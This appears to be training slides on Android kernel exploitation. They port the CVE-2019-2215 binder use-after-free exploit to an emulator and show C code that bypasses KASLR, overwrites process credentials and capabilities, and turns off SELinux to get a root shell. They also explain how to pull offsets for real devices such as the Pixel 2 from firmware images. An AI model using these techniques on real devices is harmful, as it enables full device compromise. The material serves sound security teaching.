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Lab Setup
• Follow the guide “KernelSetupGuide.pdf” shared on Slack 

yesterday to download and setup the target Android Image that 
we'll be exploiting.

• These steps should work with minimal changes on Mac, Linux 
and Windows.

• The exploit binaries are up in /home/mobile/Desktop/vulnapps/
binder_exploit_dns.zip
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Building Android Kernel
• Detailed at https://source.android.com/setup/build/building-

kernels
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Building Android Kernel
• We setup the tool repo to manage Git repositories
• Does the uploads to revision control systems, and automates 

parts of the development workflow.
• It is an executable Python script

curl https://storage.googleapis.com/git-repo-
downloads/repo > ~/bin/repo

chmod a+x ~/bin/repo
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Building Android Kernel
• Specify URL for the manifest
• repo init -u https://
android.googlesource.com/platform/manifest


• Specify the branch
• EG : Target goldfish-4.14-dev for Android 10
• repo init -u https://
android.googlesource.com/platform/manifest 
-b q-goldfish-android-goldfish-4.14-dev

Branch list -  https://source.android.com/setup/start/build-numbers#source-code-tags-and-builds 
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Building Android Kernel
• Sync the repository using:
• repo sync


• In our case we want to be as fast as possible:
• repo sync -c --no-tags --no-clone-bundle 
-j`nproc`
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Building Android Kernel
• NEXT :

• eg: drivers/android/binder.c file to remove patch for a binder 
exploit.
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Building Android Kernel
• Specify Build Configuration
build.config.aarch64

ARCH=arm64

BRANCH=arm64

CLANG_TRIPLE=aarch64-linux-gnu-

CROSS_COMPILE=aarch64-linux-androidkernel-

DEFCONFIG=ranchu_defconfig

EXTRA_CMDS=''

LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/bin

FILES="

arch/arm64/boot/bzImage

vmlinux

System.map

"
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Building Android Kernel
• Start the build process
• BUILD_CONFIG=ranchu_defconfig build/build.sh

•

https://drive.google.com/drive/folders/1Kw39CYN1GoOfvOPGoAFUVTN2hQUqsJAP?usp=sharing 
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Launch the Built Emulator
• emulator -show-kernel -no-snapshot -wipe-data 
-avd exploitme1 -kernel bzImage
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Launch the Built Emulator
With GDB Support
• emulator -show-kernel -no-snapshot -wipe-data 
-avd exploit1 -kernel android-4.14-dev/out/
dist/bzImage -qemu -s -S


• gdb android-4.14-dev/out/dist/vmlinux -ex 
'target remote :1234'
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Adding KASAN support
• Modify arch/arm64/configs/ranchu_defconfig file

• Remove this flag CONFIG_KERNEL_LZ4=y and modify below flags:
• CONFIG_KASAN=y
• CONFIG_KASAN_INLINE=y
• CONFIG_KCOV=y
• CONFIG_SLUB=y
• CONFIG_SLUB_DEBUG=y

• RECOMPILE
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TARGET
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Looking at the Source
• Linux localhost 4.14.150+ #1 SMP PREEMPT Tue Jul 28 

15:37:13 EDT 2020 x86_64

• https://elixir.bootlin.com/linux/v4.14.150/source
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Basic Kernel Security
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Road to the Almighty #
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Road to the Almighty #
• What does “GETTING ROOT” mean?
• Escalating “privileges” from normal “shell” user to “root”
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r00t Process
• Run code on device as unprivileged user
• adb
• apk

• Manipulate kernel data
• Modify process “privileges”

• Launch the ROOT shell
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Privilege Escalation
• What defines “privilege” of a task in Android? 
• the struct “cred”

• struct “cred”
• stores the security context of a task
• Defined in https://elixir.bootlin.com/linux/v4.14.150/source/

include/linux/cred.h#L111
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task_struct
• Each task (task_struct) has  2 members:
• real_cred
• cred 
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Privilege Escalation

https://www.researchgate.net/publication/
329408891_A_Measurement_Study_on_Linux_Container_Security_Attacks_and_Countermeasures
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• Function commit_creds() needs a valid struct cred as an 
argument. 
• Welcome -> prepare_kernel_cred():  
• Prepare a set of credentials for a kernel service
• This can then be used to  override a task's own credentials 

so that work can be done on behalf of that  task that 
requires a different subjective context.
• https://elixir.bootlin.com/linux/v4.14.150/source/kernel/

cred.c#L620 
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allocates a new struct cred and fills it from the current's one
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What happens when argument to prepare_kernel_cred() is NULL?

It will copy the init process’s cred - which runs as ROOT!
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Effective Process for ROOT
• commit_cred(prepare_kernel_cred(NULL)); 
• give root privileges to the current process
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ASSUMPTION
• You have a kernel bug that you can use to escalate privileges from normal user to 

privileged user. 
• EG: CVE-2019-2215

• A use-after-free (UAF) in binder.c allows an elevation of privilege from an 
application to the Linux Kernel.

• In CVE-2019-2215, the UAF bug is triggered twice: 
• First time - to leaks the address of the task_struct

• task_struct contains the process’s address limit (addr_limit). 
• Second time - to overwrite the value of addr_limit to 0xfffffffffffffffe. 

• Increasing the addr_limit to 0xfffffffffffffffe will make kernel memory accessible 
to our unprivileged process.
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CVE-2019-2215 EXPLAINED! 

• https://bugs.chromium.org/p/project-zero/issues/
attachmentText?aid=414885
• Gives stable kernel R/W
• Works on Pixel 2
• We’ll be trying to exploit our Emulator
• Major changes will be updating the offsets
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Privilege Escalation
• POC : https://bugs.chromium.org/p/project-zero/issues/

attachmentText?aid=414885 
• Gives stable kernel R/W
• Works on Pixel 2
• We’ll be trying to exploit our Emulator
• Major changes will be updating the offsets
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Privilege Escalation
struct task_struct {
    uint8_t filler[1256];        /*     0        0x4e8 */
    pid_t pid;                        /* 0x4e8    0x4 */
    uint8_t filler2[412];       /* 0x4ec     0x19c */
    uint64_t cred;                /* 0x688    0x8 */
    uint8_t filler3[48];         /* 0x690    0x30 */
    uint64_t nsproxy;          /* 0x6c0    0x8 */
    uint8_t filler4[1944];     /* 0x6c8    0x798 */
} __attribute__((packed));   /* size:       0xe60 */

In exploit - Line 204:

OFFSET__task_struct__cred:

originally was 0x790, 


but based off debug logs 

added while building the kernel.


We modified it to 0x688.
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Privilege Escalation
• In exploit - Line 135:
• current_ptr + 0x8, /* next iov_base (addr_limit) */ 

changed to:

• current_ptr + 0xA18, /* next iov_base (addr_limit) */
• based off debug logs  added while building the kernel.
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Based off /dist/System.map from the built 
emulator 
• #define SYMBOL__init_user_ns 0x12324F8
• #define SYMBOL__init_task 0x1215480
• #define SYMBOL__init_uts_ns 0x12324F8
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Running the Exploit - part1.c
• This is based on the ProjectZero exploit that gives R/W 

access using CVE-2019-2215
• We updated the offsets to port the exploit for our emulator 

• Compile the exploit using:
• NDK_ROOT=~/Android/Sdk/ndk/<android-version> make 

build-part1
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Running the Exploit - part2.c
• This is based on the ProjectZero exploit that gives R/W access 

using CVE-2019-2215
• We updated the offsets to port the exploit for our emulator 
• Added kernel base + cred calculations needed for ASLR 

Bypass
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Modifications…

#define OFFSET_CRED 0x688
uint64_t credz = kernel_read_ulong(current_ptr + OFFSET_CRED); 
printf("cred = %016lx\n", credz);
#define OFFSET_USER_NS 0x88
uint64_t user_ns = kernel_read_ulong(credz + OFFSET_USER_NS);
printf("user_ns = %016lx\n", user_ns);
#define INIT_USER_NS 0x12324F8
uint64_t kernel_base = user_ns - INIT_USER_NS;
printf("kernel base = %016lx\n", kernel_base);    // can be used for KASLR bypass

if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");

unsigned long init_task = kernel_base + SYMBOL__init_task;
printf("&init_task == 0x%lx\n", init_task);
unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
printf("init_task.cred == 0x%lx\n", init_task_cred);
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
printf("current->cred == 0x%lx\n", my_cred);
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Linux Permissions
• For the purpose of performing permission checks, traditional 

UNIX implementations distinguish two categories of processes
• privileged processes - (UID = 0), referred to as root.
• unprivileged processes (UID is nonzero).

• Privileged processes bypass all kernel permission checks, while 
unprivileged processes are subject to full permission checking 
based on the process's credentials
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Discretionary Access Control (DAC)
• Discretionary Access Control (DAC) is used by Android to 

restrict access between apps.
• Ordinary apps can only access system resources through 

system services.
• DAC isolates apps based on users and groups. 
• Each app is assigned a unique (user id, group id) pair when 

installed, which is used by its all processes and private data 
files.
• Only data owners and app creators have access to the data. 
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Bypassing DAC
• Set uid = 0
• Set gid = 0 
• reset securebits to 0
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Linux Capabilities (CAP)
• As we said before - For the purpose of performing permission checks, traditional UNIX 

implementations distinguish two categories of processes
• privileged processes - (UID = 0), referred to as root.
• unprivileged processes (UID is nonzero).

• In addition to the above -> Capabilities allow Linux processes to drop most root-like 
privileges while retaining the subset of privileges that they require to perform their function.
• Linux divides the privileges traditionally associated with superuser into distinct units, 

known as capabilities, which can be independently enabled and disabled.
• EG: CAP_PERMITTED, CAP_EFFECTIVE, etc.
• Defined in struct cred:

• https://elixir.bootlin.com/linux/v4.14.150/source/include/linux/cred.h#L129

• cat /proc/$$/status
https://t.me/learningnets
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Bypassing CAP
• Set CAP_INHERITABLE to 0
• Set CAP_PERMITTED to 0x3FFFFFFFFF
• Set CAP_EFFECTIVE to 0x3FFFFFFFFF
• Set CAP_BSET to 0x3FFFFFFFFF
• Set CAP_AMBIENT to 0
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Running the Exploit - part3.c
• This is based on the ProjectZero exploit that gives R/W access 

using CVE-2019-2215
• We updated the offsets to port the exploit for our emulator 
• Added kernel base + cred calculations needed for ASLR 

Bypass
• Added DAC Bypass
• Added CAP Bypass
• Added ROOT Shell
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Bypassing DAC
//DAC bypass
#define OFFSET_UID 0x4
#define OFFSET_GID 0x8
#define OFFSET_SUID 0xc
#define OFFSET_SGID 0x10
#define OFFSET_EUID 0x14
#define OFFSET_EGID 0x18
#define OFFSET_FSUID 0x1c
#define OFFSET_FSGID 0x20
#define OFFSET_SECUREBITS 0x24

printf("Patching Creds now..\n");  
kernel_write_ulong(my_cred + OFFSET_UID, 0);  
kernel_write_ulong(my_cred + OFFSET_GID, 0);
kernel_write_ulong(my_cred + OFFSET_SUID, 0);
kernel_write_ulong(my_cred + OFFSET_SGID, 0);
kernel_write_ulong(my_cred + OFFSET_EUID, 0);

//CAP Bypass
#define OFFSET_CAP_INHERITABLE 0x28
#define OFFSET_CAP_PERMITTED 0x30
#define OFFSET_CAP_EFFECTIVE 0x38
#define OFFSET_CAP_BSET 0x40
#define OFFSET_CAP_AMBIENT 0x48

printf("Patching Creds now for CAP Bypass..\n");  
kernel_write_ulong(my_cred + OFFSET_CAP_INHERITABLE, 0);
kernel_write_ulong(my_cred + OFFSET_CAP_PERMITTED, 
(uint64_t)0x3FFFFFFFFF);
kernel_write_ulong(my_cred + OFFSET_CAP_EFFECTIVE, 
(uint64_t)0x3FFFFFFFFF);
kernel_write_ulong(my_cred + OFFSET_CAP_BSET, 
(uint64_t)0x3FFFFFFFFF);
kernel_write_ulong(my_cred + OFFSET_CAP_AMBIENT, 
(uint32_t)0);

Bypassing CAP
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• By following steps till now, you’ll be able to get “ROOT”.

• However, even if “ROOT”, you’ll not be allowed to do certain 
tasks based on some OS policies.

• Our process is technically full root from a stock Linux 
perspective, but Android’s MAC policy still locks our root process 
to anything that the u:r:shell:s0 context can do.
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SELinux
• Security Enhanced Linux (SELinux), is a mandatory access control (MAC) system 

for the Linux operating system. 
• Android 4.3+

• As a MAC system, it differs from Linux’s familiar discretionary access control (DAC) 
system.
• In a traditional DAC-based Linux environment, if the root user becomes 

compromised that user can write to every raw block device. 
• However, SELinux can be used to label these devices so the process assigned 

the root privilege can write to only those specified in the associated policy. 
• In this way, the process cannot overwrite data and system settings outside of 

the specific raw block device.
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SELinux
• SELinux Modes:

• Permissive - In this mode, all permission denials are logged but not 
enforced.
• Enforcing - In this mode, all permission denials are both logged and 

enforced. [DEFAULT]

• https://elixir.bootlin.com/linux/v4.14.150/source/security/selinux/
hooks.c#L104 
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SELinux Bypass/Bypassing MAC
• Set SELINUX_ENFORCING to 0
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Running the Exploit - part4.c
• This is based on the ProjectZero exploit that gives R/W access 

using CVE-2019-2215
• We updated the offsets to port the exploit for our emulator 
• Added kernel base + cred calculations needed for ASLR 

Bypass
• Added DAC Bypass
• Added CAP Bypass
• Disable SELinux
• Added ROOT Shell
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SELinux Bypass/Bypassing MAC

printf("Patching selinux_enforcing\n");
#define SELINUX_ENFORCING 0x149FE58
kernel_write_ulong(kernel_base + SELINUX_ENFORCING, 0); 
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Secure Computing mode (SECCOMP)
• Secure Computing mode
• Linux Kernel Feature that allows filtering system calls. 
• When enabled - only 4 system calls allowed
• read(), write(), exit(), sigreturn()

• When running exploit through ADB we do not have to worry about 
SECCOMP
• If we bundle exploit into an APK file, then the OS will limit the 

application and its children from being able to access any old syscall.
• Have to bypass SECCOMP when using APK
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Bypassing SECCOMP
• Set the TIF_SECCOMP  flag in task_struct->thread_info.flags 

to 0

• Clear the “mode” and “filter”

• WIN!
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What about exploiting existing devices?
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Offsets for an existing Device?

• Download the OTA file from https://developers.google.com/
android/ota 
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Extract the Android OTA Images
• We can then  Extract Android firmware images
• https://github.com/cyxx/extract_android_ota_payload
• python extract_android_ota_payload.py 
walleye-ota-qp1a.190711.020-d326cba7.zip 
extracted_payload
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Extract the Kernel using the Boot Image 
(boot.img)
• imgtool - http://newandroidbook.com/tools/imgtool.html
• ./imgtool boot.img extract 
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Extract the Kernel using the Boot Image 
(Kernel.img)
•  binwalk -e KERNEL.img
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Uncompress the Kernel file
• Once you have the extracted the file uncompress the kernel file
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Recovering the kallsyms table
• Download droidimg from https://github.com/nforest/droidimg  

• We can use this tool to recover the kallsyms table

• ./vmlinux.py pixel_vmlinux
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Recovering the kallsyms table
• If you face this error - KASLR issue!

• Solution:
• gcc -o fix_kaslr_arm64 fix_kaslr_arm64.c

• ./fix_kaslr_arm64 pixel_vmlinux pixel_vmlinux_kaslr
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Recovering the kallsyms table
• ./fix_kaslr_arm64 pixel_vmlinux pixel_vmlinux_kaslr

• ./vmlinux.py pixel_vmlinux_kaslr
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Alternate Approach
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Alternate Approach
• On a stock Android ROM?
• https://android.googlesource.com/device to the rescue
• https://android.googlesource.com/device/google 

• Get the list of branches from:
• https://source.android.com/setup/build/building-kernels 

• For Pixel 2 (walleye) - wahoo-kernel
• https://android.googlesource.com/device/google/wahoo-

kernel/ 
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Alternate Approach
• Run uname -a on your device to 

know which kernel you are 
targeting. Searching for it will lead 
to https://
android.googlesource.com/device/
google/wahoo-kernel/+/
16747445501c5a2cc90c00121b2
b9ed23fee302a
• Now click on the “tree” link 

https://t.me/learningnets

https://android.googlesource.com/device/google/wahoo-kernel/+/16747445501c5a2cc90c00121b2b9ed23fee302a
https://android.googlesource.com/device/google/wahoo-kernel/+/16747445501c5a2cc90c00121b2b9ed23fee302a
https://android.googlesource.com/device/google/wahoo-kernel/+/16747445501c5a2cc90c00121b2b9ed23fee302a
https://android.googlesource.com/device/google/wahoo-kernel/+/16747445501c5a2cc90c00121b2b9ed23fee302a
https://android.googlesource.com/device/google/wahoo-kernel/+/16747445501c5a2cc90c00121b2b9ed23fee302a


© 2022 Prateek Gianchandani & Dinesh Shetty

Where is the Kernel?
• The BUILT kernel is in the file “Image.lz4-dtb”
• https://android.googlesource.com/device/google/wahoo-

kernel/+/16747445501c5a2cc90c00121b2b9ed23fee302a/
Image.lz4-dtb 
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Uncompress the Kernel
• Uncompress the kernel using lz4
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Next Step?
• Exactly the same steps we did with the previous kernel image :) 
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